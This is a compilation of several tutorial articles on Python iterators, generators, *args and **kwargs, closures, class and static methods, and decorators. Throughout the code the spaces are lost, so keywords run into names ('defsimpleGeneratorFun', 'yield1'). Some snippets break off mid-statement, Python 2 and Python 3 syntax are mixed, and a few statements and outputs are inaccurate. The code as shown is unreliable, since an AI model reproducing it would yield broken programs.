Code #2: Function ‘iterable’ will return True if the object ‘obj’ is an iterable and False otherwise.
Python3
# list of cities
cities =["Berlin", "Vienna", "Zurich"]
# initialize the object
iterator_obj =iter(cities)
print(next(iterator_obj))
print(next(iterator_obj))
print(next(iterator_obj))
Output:
Berlin
Vienna
Zurich
Note: If ‘next(iterator_obj)’ is called one more time, it would return ‘StopIteration’.
Code #3: Check object is iterable or not
Output:
34 is iterable : False
[4, 5] is iterable : True
(4, 5) is iterable : True
{'a': 4} is iterable : True
dfsdf is iterable : True
4.5 is iterable : False
There are two terms involved when we discuss generators.
Generator-Function : A generator-function is defined like a normal function, but whenever it needs to generate a value, it does so with the yield keyword rather than return. If the body of a def contains yield, the function automatically becomes a generator function.
# A generator function that yields 1 for first time,
# 2 second time and 3 third time
defsimpleGeneratorFun():
yield1
yield2
yield3
# Driver code to check above generator function
forvalue insimpleGeneratorFun():
print(value)
Output :
1
2
3
Generator-Object : Generator functions return a generator object. Generator objects are used either by calling the next method on the generator object or using the generator object in a “for in” loop (as shown in the above program).
# A Python program to demonstrate use of
# generator object with next()
# A generator function
defsimpleGeneratorFun():
yield1
yield2
yield3
# x is a generator object
x =simpleGeneratorFun()
# Iterating over the generator object using next
print(x.next()) # In Python 3, __next__()
print(x.next())
print(x.next())
Output :
1
2
3
So a generator function returns an generator object that is iterable, i.e., can be used as an Iterators .
As another example, below is a generator for Fibonacci Numbers.
# A simple generator for Fibonacci Numbers
deffib(limit):
# Initialize first two Fibonacci Numbers
a, b =0, 1
# One by one yield next Fibonacci Number
whilea < limit:
yielda
a, b =b, a +b
# Create a generator object
x =fib(5)
# Iterating over the generator object using next
print(x.next()) # In Python 3, __next__()
print(x.next())
print(x.next())
print(x.next())
print(x.next())
# Iterating over the generator object using for
# in loop.
print("\nUsing for in loop")
fori infib(5):
print(i)
Output :
0
1
1
2
3
Using for in loop
0
1
1
2
3
Applications : Suppose we to create a stream of Fibonacci numbers, adopting the generator approach makes it trivial; we just have to call next(x) to get the next Fibonacci number without bothering about where or when the stream of numbers ends. A more practical type of stream processing is handling large data files such as log files. Generators provide a space efficient method for such data processing as only parts of the file are handled at one given point in time. We can also use Iterators for these purposes, but Generator provides a quick way (We don’t need to write __next__ and __iter__ methods here).
This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
In Python, to create iterators, we can use both regular functions and generators. Generators are written just like a normal function but we use yield() instead of return() for returning a result. It is more powerful as a tool to implement iterators. It is easy and more convenient to implement because it offers the evaluation of elements on demand. Unlike regular functions which on encountering a return statement terminates entirely, generators use a yield statement in which the state of the function is saved from the last call and can be picked up or resumed the next time we call a generator function. Another great advantage of the generator over a list is that it takes much less memory.
In addition to that, two more functions _next_() and _iter_() make the generator function more compact and reliable. Example :
Python3
# Python code to illustrate generator, yield() and next().
defgenerator():
t =1
print('First result is ',t)
yieldt
t +=1
print('Second result is ',t)
yieldt
t +=1
print('Third result is ',t)
yieldt
call =generator()
next(call)
next(call)
next(call)
Output :
First result is 1
Second result is 2
Third result is 3
Difference between Generator function and Normal function –
Once the function yields, the function is paused and the control is transferred to the caller.
When the function terminates, StopIteration is raised automatically on further calls.
Local variables and their states are remembered between successive calls.
The generator function contains one or more yield statements instead of a return statement.
As the methods like _next_() and _iter_() are implemented automatically, we can iterate through the items using next().
There are various other expressions that can be simply coded similar to list comprehensions but instead of brackets we use parenthesis. These expressions are designed for situations where the generator is used right away by an enclosing function. Generator expression allows creating a generator without a yield keyword. However, it doesn’t share the whole power of the generator created with a yield function. Example :
Python3
# Python code to illustrate generator expression
generator =(num **2fornum inrange(10))
fornum ingenerator:
print(num)
Output :
0
1
4
9
16
25
36
49
64
81
We can also generate a list using generator expressions :
Python3
string ='geek'
li =list(string[i] fori inrange(len(string)-1, -1, -1))
print(li)
Output:
['k', 'e', 'e', 'g']
This article is contributed by Chinmoy Lenka. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python Functions are very easy to write in python and all non-trivial programs will have functions. Function names have the same rules as variable names. The function is a block of related statements designed to perform a computational, logical, or evaluative task. The idea is to put some commonly or repeatedly done tasks together and make a function so that instead of writing the same code again and again for different inputs, we can do the function calls to reuse code contained in it over and over again.
Functions can be both built-in or user-defined. It helps the program to be concise, non-repetitive, and organized.
A default argument is a parameter that assumes a default value if a value is not provided in the function call for that argument. The following example illustrates Default arguments.
Python3
# Python program to demonstrate
# default arguments
defmyFun(x, y=50):
print("x: ", x)
print("y: ", y)
# Driver code (We call myFun() with only
# argument)
myFun(10)
Output
('x: ', 10)
('y: ', 50)
Like C++ default arguments, any number of arguments in a function can have a default value. But once we have a default argument, all the arguments to its right must also have default values.
Keyword arguments
The idea is to allow the caller to specify the argument name with values so that caller does not need to remember the order of parameters.
In Python, we can pass a variable number of arguments to a function using special symbols. There are two special symbols:
*args (Non-Keyword Arguments)
**kwargs (Keyword Arguments)
Example 1: Variable length non-keywords argument
Python
# Python program to illustrate
# *args for variable number of arguments
defmyFun(*argv):
forarg inargv:
print(arg)
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks')
Output
Hello
Welcome
to
GeeksforGeeks
Example 2: Variable length keyword arguments
Python3
# Python program to illustrate
# *kwargs for variable number of keyword arguments
defmyFun(**kwargs):
forkey, value inkwargs.items():
print("%s == %s"%(key, value))
# Driver code
myFun(first='Geeks', mid='for', last='Geeks')
Output
first == Geeks
mid == for
last == Geeks
Docstring
The first string after the function is called the Document string or Docstring in short. This is used to describe the functionality of the function. The use of docstring in functions is optional but it is considered a good practice.
The below syntax can be used to print out the docstring of a function:
Syntax: print(function_name.__doc__)
Example: Adding Docstring to the function
Python3
# A simple Python function to check
# whether x is even or odd
defevenOdd(x):
"""Function to check if the number is even or odd"""
if(x %2==0):
print("even")
else:
print("odd")
# Driver code to call the function
print(evenOdd.__doc__)
Output
Function to check if the number is even or odd
The return statement
The function return statement is used to exit from a function and go back to the function caller and return the specified value or data item to the caller.
Syntax: return [expression_list]
The return statement can consist of a variable, an expression, or a constant which is returned to the end of the function execution. If none of the above is present with the return statement a None object is returned.
Example: Python Function Return Statement
Python3
defsquare_value(num):
"""This function returns the square
value of the entered number"""
returnnum**2
print(square_value(2))
print(square_value(-4))
Output:
4
16
Is Python Function Pass by Reference or pass by value?
One important thing to note is, in Python every variable name is a reference. When we pass a variable to a function, a new reference to the object is created. Parameter passing in Python is the same as reference passing in Java.
Example:
Python3
# Here x is a new reference to same list lst
defmyFun(x):
x[0] =20
# Driver Code (Note that lst is modified
# after function call.
lst =[10, 11, 12, 13, 14, 15]
myFun(lst)
print(lst)
Output
[20, 11, 12, 13, 14, 15]
When we pass a reference and change the received reference to something else, the connection between the passed and received parameter is broken. For example, consider the below program.
Python3
defmyFun(x):
# After below line link of x with previous
# object gets broken. A new object is assigned
# to x.
x =[20, 30, 40]
# Driver Code (Note that lst is not modified
# after function call.
lst =[10, 11, 12, 13, 14, 15]
myFun(lst)
print(lst)
Output
[10, 11, 12, 13, 14, 15]
Another example to demonstrate that the reference link is broken if we assign a new value (inside the function).
Python3
defmyFun(x):
# After below line link of x with previous
# object gets broken. A new object is assigned
# to x.
x =20
# Driver Code (Note that lst is not modified
# after function call.
x =10
myFun(x)
print(x)
Output
10
Exercise: Try to guess the output of the following code.
In Python, an anonymous function means that a function is without a name. As we already know the def keyword is used to define the normal functions and the lambda keyword is used to create anonymous functions. Please see this for details.
Python3
# Python code to illustrate the cube of a number
# using lambda function
defcube(x): returnx*x*x
cube_v2 =lambdax : x*x*x
print(cube(7))
print(cube_v2(7))
Output
343
Python Function within Functions
A function that is defined inside another function is known as the inner function or nested function. Nested functions are able to access variables of the enclosing scope. Inner functions are used so that they can be protected from everything happening outside the function.
The @classmethod decorator is a built-in function decorator that is an expression that gets evaluated after your function is defined. The result of that evaluation shadows your function definition. A class method receives the class as an implicit first argument, just like an instance method receives the instance Syntax:
class C(object): @classmethod def fun(cls, arg1, arg2, ...):
....
fun: function that needs to be converted into a class method
returns: a class method for function.
A class method is a method that is bound to the class and not the object of the class.
They have the access to the state of the class as it takes a class parameter that points to the class and not the object instance.
It can modify a class state that would apply across all the instances of the class. For example, it can modify a class variable that will be applicable to all the instances.
Static Method
A static method does not receive an implicit first argument.
Syntax:
class C(object): @staticmethod def fun(arg1, arg2, ...): ...returns: a static method for function fun.
A static method is also a method that is bound to the class and not the object of the class.
A static method can’t access or modify the class state.
It is present in a class because it makes sense for the method to be present in class.
Class method vs Static Method
A class method takes cls as the first parameter while a static method needs no specific parameters.
A class method can access or modify the class state while a static method can’t access or modify it.
In general, static methods know nothing about the class state. They are utility-type methods that take some parameters and work upon those parameters. On the other hand class methods must have class as a parameter.
We use @classmethod decorator in python to create a class method and we use @staticmethod decorator to create a static method in python.
When to use what?
We generally use class method to create factory methods. Factory methods return class objects ( similar to a constructor ) for different use cases.
We generally use static methods to create utility functions.
How to define a class method and a static method?
To define a class method in python, we use @classmethod decorator, and to define a static method we use @staticmethod decorator. Let us look at an example to understand the difference between both of them. Let us say we want to create a class Person. Now, python doesn’t support method overloading like C++ or Java so we use class methods to create factory methods. In the below example we use a class method to create a person object from birth year. As explained above we use static methods to create utility functions. In the below example we use a static method to check if a person is an adult or not.
Implementation
Python3
# Python program to demonstrate
# use of class method and static method.
fromdatetime importdate
classPerson:
def__init__(self, name, age):
self.name =name
self.age =age
# a class method to create a Person object by birth year.
@classmethod
deffromBirthYear(cls, name, year):
returncls(name, date.today().year -year)
# a static method to check if a Person is adult or not.
@staticmethod
defisAdult(age):
returnage > 18
person1 =Person('mayank', 21)
person2 =Person.fromBirthYear('mayank', 1996)
print(person1.age)
print(person2.age)
# print the result
print(Person.isAdult(22))
Output:
21
25
True
This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
How to write an empty function in Python – pass statement?
In C/C++ and Java, we can write empty function as following
// An empty function in C/C++/Java
void fun() { }
In Python, if we write something like following in Python, it would produce compiler error.
# Incorrect empty function in Python
deffun():
Output :
IndentationError: expected an indented block
In Python, to write empty functions, we use pass statement. pass is a special statement in Python that does nothing. It only works as a dummy statement.
# Correct way of writing empty function
# in Python
deffun():
pass
We can use pass in empty while statement also.
# Empty loop in Python
mutex =True
while(mutex ==True) :
pass
We can use pass in empty if else statements.
# Empty in if/else in Python
mutex =True
if(mutex ==True) :
pass
else:
print("False")
This article is contributed by Shivam Gupta. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
The yield statement suspends function’s execution and sends a value back to the caller, but retains enough state to enable function to resume where it is left off. When resumed, the function continues execution immediately after the last yield run. This allows its code to produce a series of values over time, rather than computing them at once and sending them back like a list.
Let’s see with an example:
# A Simple Python program to demonstrate working
# of yield
# A generator function that yields 1 for the first time,
# 2 second time and 3 third time
defsimpleGeneratorFun():
yield1
yield2
yield3
# Driver code to check above generator function
forvalue insimpleGeneratorFun():
print(value)
Output:
1
2
3
Return sends a specified value back to its caller whereas Yield can produce a sequence of values. We should use yield when we want to iterate over a sequence, but don’t want to store the entire sequence in memory.
Yield are used in Python generators. A generator function is defined like a normal function, but whenever it needs to generate a value, it does so with the yield keyword rather than return. If the body of a def contains yield, the function automatically becomes a generator function.
# A Python program to generate squares from 1
# to 100 using yield and therefore generator
# An infinite generator function that prints
# next square number. It starts with 1
defnextSquare():
i =1
# An Infinite loop to generate squares
whileTrue:
yieldi*i
i +=1# Next execution resumes
# from this point
# Driver code to test above generator
# function
fornum innextSquare():
ifnum > 100:
break
print(num)
Output:
1
4
9
16
25
36
49
64
81
100
This article is contributed by Arpit Agarwal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
In Python, we can return multiple values from a function. Following are different ways
1)Using Object: This is similar to C/C++ and Java, we can create a class (in C, struct) to hold multiple values and return an object of the class.
# A Python program to return multiple
# values from a method using class
classTest:
def__init__(self):
self.str="geeksforgeeks"
self.x =20
# This function returns an object of Test
deffun():
returnTest()
# Driver code to test above method
t =fun()
print(t.str)
print(t.x)
Output:
geeksforgeeks
20
Below are interesting methods for somebody shifting C++/Java world.
2) Using Tuple: A Tuple is a comma separated sequence of items. It is created with or without (). Tuples are immutable. See this for details of tuple and list.
# A Python program to return multiple
# values from a method using tuple
# This function returns a tuple
deffun():
str="geeksforgeeks"
x =20
returnstr, x; # Return tuple, we could also
# write (str, x)
# Driver code to test above method
str, x =fun() # Assign returned tuple
print(str)
print(x)
Output:
geeksforgeeks
20
3) Using a list: A list is like an array of items created using square brackets. They are different from arrays as they can contain items of different types. Lists are different from tuples as they are mutable.
# A Python program to return multiple
# values from a method using list
# This function returns a list
deffun():
str="geeksforgeeks"
x =20
return[str, x];
# Driver code to test above method
list=fun()
print(list)
Output:
['geeksforgeeks', 20]
4) Using a Dictionary: A Dictionary is similar to hash or map in other languages. See this for details of dictionary.
# A Python program to return multiple
# values from a method using dictionary
# This function returns a dictionary
deffun():
d =dict();
d['str'] ="GeeksforGeeks"
d['x'] =20
returnd
# Driver code to test above method
d =fun()
print(d)
Output:
{'x': 20, 'str': 'GeeksforGeeks'}
5) Using Data Class (Python 3.7+): In Python 3.7 and above the Data Class can be used to return a class with automatically added unique methods. The Data Class module has a decorator and functions for automatically adding generated special methods such as __init__() and __repr__() in the user-defined classes.
fromdataclasses importdataclass
@dataclass
classBook_list:
name: str
perunit_cost: float
quantity_available: int=0
# function to calculate total cost
deftotal_cost(self) -> float:
returnself.perunit_cost *self.quantity_available
book =Book_list("Introduction to programming.", 300, 3)
x =book.total_cost()
# print the total cost
# of the book
print(x)
# print book details
print(book)
# 900
Book_list(name='Python programming.',
perunit_cost=200,
quantity_available=3)
Output:
900
Book_list(name='Introduction to programming.', perunit_cost=300, quantity_available=3)
Book_list(name='Python programming.', perunit_cost=200, quantity_available=3)
This article is contributed by Shubham Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article and mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
This article is contributed by Mayank Rawat .If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
First class objects in a language are handled uniformly throughout. They may be stored in data structures, passed as arguments, or used in control structures. A programming language is said to support first-class functions if it treats functions as first-class objects. Python supports the concept of First Class functions.
Properties of first class functions:
A function is an instance of the Object type.
You can store the function in a variable.
You can pass the function as a parameter to another function.
You can return the function from a function.
You can store them in data structures such as hash tables, lists, …
Examples illustrating First Class functions in Python
1. Functions are objects: Python functions are first class objects. In the example below, we are assigning function to a variable. This assignment doesn’t call the function. It takes the function object referenced by shout and creates a second name pointing to it, yell.
# Python program to illustrate functions
# can be treated as objects
defshout(text):
returntext.upper()
print(shout('Hello'))
yell =shout
print(yell('Hello'))
Output:
HELLO
HELLO
2. Functions can be passed as arguments to other functions: Because functions are objects we can pass them as arguments to other functions. Functions that can accept other functions as arguments are also called higher-order functions. In the example below, we have created a function greet which takes a function as an argument.
# Python program to illustrate functions
# can be passed as arguments to other functions
defshout(text):
returntext.upper()
defwhisper(text):
returntext.lower()
defgreet(func):
# storing the function in a variable
greeting =func("""Hi, I am created by a function
passed as an argument.""")
print(greeting)
greet(shout)
greet(whisper)
Output
HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.
3. Functions can return another function: Because functions are objects we can return a function from another function. In the below example, the create_adder function returns adder function.
# Python program to illustrate functions
# Functions can return another function
defcreate_adder(x):
defadder(y):
returnx+y
returnadder
add_15 =create_adder(15)
print(add_15(10))
Output:
25
This article is contributed by Mayank Agrawal. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to contribute@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Python in its definition allows handling the precision of floating-point numbers in several ways using different functions. Most of them are defined under the “math” module. Some of the most used operations are discussed in this article.
trunc():- This function is used to eliminate all decimal parts of the floating-point number and return the integer without the decimal part.
ceil():- This function is used to print the least integer greater than the given number.
floor():- This function is used to print the greatest integer smaller than the given integer.
Python3
# Python code to demonstrate ceil(), trunc()
# and floor()
# importing "math" for precision function
importmath
# initializing value
a =3.4536
# using trunc() to print integer after truncating
print("The integral value of number is : ", end="")
print(math.trunc(a))
# using ceil() to print number after ceiling
print("The smallest integer greater than number is : ", end="")
print(math.ceil(a))
# using floor() to print number after flooring
print("The greatest integer smaller than number is : ", end="")
print(math.floor(a))
Output :
The integral value of number is : 3
The smallest integer greater than number is : 4
The greatest integer smaller than number is : 3
Setting Precision
There are many ways to set the precision of the floating-point values. Some of them are discussed below.
Using “%”:- “%” operator is used to format as well as set precision in python. This is similar to “printf” statement in C programming.
Using format():- This is yet another way to format the string for setting precision.
Using round(x,n):- This function takes 2 arguments, number, and the number till which we want decimal part rounded.
Python3
# Python code to demonstrate precision
# and round()
# initializing value
a =3.4536
# using "%" to print value till 2 decimal places
print("The value of number till 2 decimal place(using %) is : ",end="")
print('%.2f'%a)
# using format() to print value till 2 decimal places
print("The value of number till 2 decimal place(using format()) is : ",end="")
print("{0:.2f}".format(a))
# using round() to print value till 2 decimal places
print("The value of number till 2 decimal place(using round()) is : ",end="")
print(round(a,2))
Output :
The value of number till 2 decimal place(using %) is : 3.45
The value of number till 2 decimal place(using format()) is : 3.45
The value of number till 2 decimal place(using round()) is : 3.45
This article is contributed by Manjeet Singh. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
In Python, we can pass a variable number of arguments to a function using special symbols. There are two special symbols:
Special Symbols Used for passing arguments:-
1.)*args (Non-Keyword Arguments)
2.)**kwargs (Keyword Arguments)
Note: “We use the “wildcard” or “*” notation like this – *args OR **kwargs – as our function’s argument when we have doubts about the number of arguments we should pass in a function.”
1.) *args
The special syntax *args in function definitions in python is used to pass a variable number of arguments to a function. It is used to pass a non-key worded, variable-length argument list.
The syntax is to use the symbol * to take in a variable number of arguments; by convention, it is often used with the word args.
What *args allows you to do is take in more arguments than the number of formal arguments that you previously defined. With *args, any number of extra arguments can be tacked on to your current formal parameters (including zero extra arguments).
For example : we want to make a multiply function that takes any number of arguments and able to multiply them all together. It can be done using *args.
Using the *, the variable that we associate with the * becomes an iterable meaning you can do things like iterate over it, run some higher-order functions such as map and filter, etc.
python3
# Python program to illustrate
# *args for variable number of arguments
defmyFun(*argv):
forarg inargv:
print(arg)
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks')
Output:
Hello
Welcome
to
GeeksforGeeks
Python3
# Python program to illustrate
# *args with first extra argument
defmyFun(arg1, *argv):
print("First argument :", arg1)
forarg inargv:
print("Next argument through *argv :", arg)
myFun('Hello', 'Welcome', 'to', 'GeeksforGeeks')
Output:
First argument : Hello
Next argument through *argv : Welcome
Next argument through *argv : to
Next argument through *argv : GeeksforGeeks
2.)**kwargs
The special syntax **kwargs in function definitions in python is used to pass a keyworded, variable-length argument list. We use the name kwargs with the double star. The reason is because the double star allows us to pass through keyword arguments (and any number of them).
A keyword argument is where you provide a name to the variable as you pass it into the function.
One can think of the kwargs as being a dictionary that maps each keyword to the value that we pass alongside it. That is why when we iterate over the kwargs there doesn’t seem to be any order in which they were printed out.
Example for usage of **kwargs:
python
# Python program to illustrate
# *kwargs for variable number of keyword arguments
defmyFun(**kwargs):
forkey, value inkwargs.items():
print("%s == %s"%(key, value))
# Driver code
myFun(first ='Geeks', mid ='for', last='Geeks')
Output:
last == Geeks
mid == for
first == Geeks
python
# Python program to illustrate **kwargs for
# variable number of keyword arguments with
# one extra argument.
defmyFun(arg1, **kwargs):
forkey, value inkwargs.items():
print("%s == %s"%(key, value))
# Driver code
myFun("Hi", first ='Geeks', mid ='for', last='Geeks')
This article is contributed by Kishlay Verma. If you like GeeksforGeeks and would like to contribute, you can also write an article using contribute.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
Before seeing what a closure is, we have to first understand what nested functions and non-local variables are.
Nested functions in Python
A function that is defined inside another function is known as a nested function. Nested functions are able to access variables of the enclosing scope. In Python, these non-local variables can be accessed only within their scope and not outside their scope. This can be illustrated by the following example:
Python3
# Python program to illustrate
# nested functions
defouterFunction(text):
text =text
definnerFunction():
print(text)
innerFunction()
if__name__ =='__main__':
outerFunction('Hey!')
As we can see innerFunction() can easily be accessed inside the outerFunction body but not outside of it’s body. Hence, here, innerFunction() is treated as nested Function which uses text as non-local variable.
Python Closures
A Closure is a function object that remembers values in enclosing scopes even if they are not present in memory.
It is a record that stores a function together with an environment: a mapping associating each free variable of the function (variables that are used locally but defined in an enclosing scope) with the value or reference to which the name was bound when the closure was created.
A closure—unlike a plain function—allows the function to access those captured variables through the closure’s copies of their values or references, even when the function is invoked outside their scope.
As observed from the above code, closures help to invoke functions outside their scope.
The function innerFunction has its scope only inside the outerFunction. But with the use of closures, we can easily extend its scope to invoke a function outside its scope.
Python3
# Python program to illustrate
# closures
importlogging
logging.basicConfig(filename='example.log',
level=logging.INFO)
deflogger(func):
deflog_func(*args):
logging.info(
'Running "{}" with arguments {}'.format(func.__name__,
1. As closures are used as callback functions, they provide some sort of data hiding. This helps us to reduce the use of global variables.
2. When we have few functions in our code, closures prove to be an efficient way. But if we need to have many functions, then go for class (OOP).
This article is contributed by Omkar Pathak. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.
My Personal Notesarrow_drop_up
Function Decorators in Python | Set 1 (Introduction)
Following are important facts about functions in Python that are useful to understand decorator functions.
In Python, we can define a function inside another function.
In Python, a function can be passed as parameter to another function (a function can also return another function).
# A Python program to demonstrate that a function
# can be defined inside another function and a
# function can be passed as parameter.
# Adds a welcome message to the string
defmessageWithWelcome(str):
# Nested function
defaddWelcome():
return"Welcome to "
# Return concatenation of addWelcome()
# and str.
returnaddWelcome() +str
# To get site name to which welcome is added
defsite(site_name):
returnsite_name
printmessageWithWelcome(site("GeeksforGeeks"))
Output:
Welcome to GeeksforGeeks
Function Decorator
A decorator is a function that takes a function as its only parameter and returns a function. This is helpful to “wrap” functionality with the same code over and over again. For example, above code can be re-written as following.
We use @func_name to specify a decorator to be applied on another function.
# Adds a welcome message to the string
# returned by fun(). Takes fun() as
# parameter and returns welcome().
defdecorate_message(fun):
# Nested function
defaddWelcome(site_name):
return"Welcome to "+fun(site_name)
# Decorator returns a function
returnaddWelcome
@decorate_message
defsite(site_name):
returnsite_name;
# Driver code
# This call is equivalent to call to
# decorate_message() with function
# site("GeeksforGeeks") as parameter
printsite("GeeksforGeeks")
Output:
Welcome to GeeksforGeeks
Decorators can also be useful to attach data (or add attribute) to functions.
# A Python example to demonstrate that
# decorators can be useful attach data
# A decorator function to attach
# data to func
defattach_data(func):
func.data =3
returnfunc
@attach_data
defadd (x, y):
returnx +y
# Driver code
# This call is equivalent to attach_data()
# with add() as parameter
print(add(2, 3))
print(add.data)
Output:
5
3
‘add()’ returns sum of x and y passed as arguments but it is wrapped by a decorator function, calling add(2, 3) would simply give sum of two numbers but when we call add.data then ‘add’ function is passed into then decorator function ‘attach_data’ as argument and this function returns ‘add’ function with an attribute ‘data’ that is set to 3 and hence prints it.
Python decorators are a powerful tool to remove redundancy.
This article is contributed by Shwetanshu Rohatgi. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above
Decorators are a very powerful and useful tool in Python since it allows programmers to modify the behaviour of function or class. Decorators allow us to wrap another function in order to extend the behaviour of the wrapped function, without permanently modifying it. But before diving deep into decorators let us understand some concepts that will come in handy in learning the decorators.
First Class Objects In Python, functions are first class objects that mean that functions in Python can be used or passed as arguments. Properties of first class functions:
A function is an instance of the Object type.
You can store the function in a variable.
You can pass the function as a parameter to another function.
You can return the function from a function.
You can store them in data structures such as hash tables, lists, …
Consider the below examples for better understanding.
Example 1: Treating the functions as objects.
Python3
# Python program to illustrate functions
# can be treated as objects
defshout(text):
returntext.upper()
print(shout('Hello'))
yell =shout
print(yell('Hello'))
Output:
HELLO
HELLO
In the above example, we have assigned the function shout to a variable. This will not call the function instead it takes the function object referenced by a shout and creates a second name pointing to it, yell.
Example 2: Passing the function as an argument
Python3
# Python program to illustrate functions
# can be passed as arguments to other functions
defshout(text):
returntext.upper()
defwhisper(text):
returntext.lower()
defgreet(func):
# storing the function in a variable
greeting =func("""Hi, I am created by a function passed as an argument.""")
print(greeting)
greet(shout)
greet(whisper)
Output:
HI, I AM CREATED BY A FUNCTION PASSED AS AN ARGUMENT.
hi, i am created by a function passed as an argument.
In the above example, the greet function takes another function as a parameter (shout and whisper in this case). The function passed as an argument is then called inside the function greet.
Example 3: Returning functions from another function.
Python3
# Python program to illustrate functions
# Functions can return another function
defcreate_adder(x):
defadder(y):
returnx+y
returnadder
add_15 =create_adder(15)
print(add_15(10))
Output:
25
In the above example, we have created a function inside of another function and then have returned the function created inside. The above three examples depict the important concepts that are needed to understand decorators. After going through them let us now dive deep into decorators.
Decorators
As stated above the decorators are used to modify the behaviour of function or class. In Decorators, functions are taken as the argument into another function and then called inside the wrapper function.
Syntax for Decorator:
@gfg_decorator
def hello_decorator():
print("Gfg")
'''Above code is equivalent to -
def hello_decorator():
print("Gfg")
hello_decorator = gfg_decorator(hello_decorator)'''
In the above code, gfg_decorator is a callable function, will add some code on the top of some another callable function, hello_decorator function and return the wrapper function.
Decorator can modify the behaviour:
Python3
# defining a decorator
defhello_decorator(func):
# inner1 is a Wrapper function in
# which the argument is called
# inner function can access the outer local
# functions like in this case "func"
definner1():
print("Hello, this is before function execution")
# calling the actual function now
# inside the wrapper function.
func()
print("This is after function execution")
returninner1
# defining a function, to be called inside wrapper
Hello, this is before function execution
This is inside the function !!
This is after function execution
Let’s see the behaviour of the above code how it runs step by step when the “function_to_be_used” is called.
Let’s jump to another example where we can easily find out the execution time of a function using a decorator.
Python3
# importing libraries
importtime
importmath
# decorator to calculate duration
# taken by any function.
defcalculate_time(func):
# added arguments inside the inner1,
# if function takes any arguments,
# can be added like this.
definner1(*args, **kwargs):
# storing time before function execution
begin =time.time()
func(*args, **kwargs)
# storing time after function execution
end =time.time()
print("Total time taken in : ", func.__name__, end -begin)
returninner1
# this can be added to any function present,
# in this case to calculate a factorial
@calculate_time
deffactorial(num):
# sleep 2 seconds because it takes very less time
# so that you can see the actual difference
time.sleep(2)
print(math.factorial(num))
# calling the function.
factorial(10)
Output:
3628800
Total time taken in : factorial 2.0061802864074707
What if a function returns something or an argument is passed to the function?
In all the above examples the functions didn’t return anything so there wasn’t any issue, but one may need the returned value.
Python3
defhello_decorator(func):
definner1(*args, **kwargs):
print("before Execution")
# getting the returned value
returned_value =func(*args, **kwargs)
print("after Execution")
# returning the value to the original frame
returnreturned_value
returninner1
# adding decorator to the function
@hello_decorator
defsum_two_numbers(a, b):
print("Inside the function")
returna +b
a, b =1, 2
# getting the value through return of the function
print("Sum =", sum_two_numbers(a, b))
Output:
before Execution
Inside the function
after Execution
Sum = 3
In the above example, you may notice a keen difference in the parameters of the inner function. The inner function takes the argument as *args and **kwargs which means that a tuple of positional arguments or a dictionary of keyword arguments can be passed of any length. This makes it a general decorator that can decorate a function having any number of arguments.
Chaining Decorators
In simpler terms chaining decorators means decorating a function with multiple decorators.
Example:
Python3
# code for testing decorator chaining
defdecor1(func):
definner():
x =func()
returnx *x
returninner
defdecor(func):
definner():
x =func()
return2*x
returninner
@decor1
@decor
defnum():
return10
print(num())
Output:
400
The above example is similar to calling the function as –
We know Decorators are a very powerful and useful tool in Python since it allows programmers to modify the behavior of function or class. In this article, we will learn about theDecorators with Parameters with help of multiple examples. Python functions are First Class citizens which means that functions can be treated similarly to objects.
Function can be assigned to a variable i.e they can be referenced.
Function can be passed as an argument to another function.
Function can be returned from a function.
Decorators with parameters is similar to normal decorators.
The syntax for decorators with parameters :
@decorator(params)
def func_name():
''' Function implementation'''
The above code is equivalent to
def func_name():
''' Function implementation'''
func_name = (decorator(params))(func_name)
"""
As the execution starts from left to right decorator(params) is called which returns a function object fun_obj. Using the fun_obj the call fun_obj(fun_name) is made. Inside the inner function, required operations are performed and the actual function reference is returned which will be assigned to func_name. Now, func_name() can be used to call the function with decorator applied on it.
How Decorator with parameters is implemented
Python3
defdecorators(*args, **kwargs):
definner(func):
'''
do operations with func
'''
returnfunc
returninner #this is the fun_obj mentioned in the above content
@decorators(params)
deffunc():
"""
function implementation
"""
Here params can also be empty.
Observe these first :
Python3
# Python code to illustrate
# Decorators basic in Python
defdecorator_fun(func):
print("Inside decorator")
definner(*args, **kwargs):
print("Inside inner function")
print("Decorated the function")
# do operations with func
func()
returninner
@decorator_fun
deffunc_to():
print("Inside actual function")
func_to()
